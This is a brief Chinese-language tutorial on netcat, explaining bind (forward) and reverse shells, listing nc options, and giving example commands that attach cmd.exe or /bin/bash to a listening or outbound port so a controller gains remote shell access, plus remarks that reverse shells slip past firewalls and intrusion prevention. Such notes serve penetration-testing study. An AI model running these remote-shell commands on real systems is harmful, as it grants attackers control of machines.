netcat瑞士军刀(正向shell和反向shell)
正向shell:控制端主动发起连接请求去连接被控制端。通常中间网络链路不存在阻碍的时候使用。
反向shell:被控制端主动发起连接去请求连接控制。通常被控端由于防火墙受限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包的时候使用。
| 参数 | 作用 |
|---|---|
| -c | 指定连接后要执行的shell命令 |
| -e | 指定连接后要执行的文件名 |
| -k | 配置 Socket一直存活(若不想退出 Shell后使监听断开可使用此参数) |
| -l | 监听模式 |
| -p | 设置本地主机使用的通信端口 |
| -u | 使用UDP传输协议,默认为TCP |
| -v | 显示指令执行过程,用-vv会更详细 |
在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。
nc反弹shell (简单举两个列子)
我今天用网络连通性来说下正向和反向
正向shell(网络链路没有阻碍,网络互通)
被控端
原理:被控端将cmd重定向到本地1111端口,控制端主动连接到被控制端的1111端口,即获得shell
#windows机器
nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe
#linux机器
nc -lvvp 1111 -e /bin/bash
控制端
nc 被控端的地址 端口
反向shell(有安全设备防护,控制端无法主动连接被控制端。或者控制端ping不通被控制端)
原理:被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,被控端主动连接控制端,即可获得shell。
被控端
nc 控制端IP 端口 -e cmd
控制端
nc -lvvp 端口
控制端ping不通被控端

被控端能ping通控制端

不管是正向shell还是反向shell 它们都是由被控制端将命令行输入和输入通过tcp/udp端口,发送到控制端,只是正向shell是由控制端主动发起连接的,而反弹shell是被控制端主动发起连接的。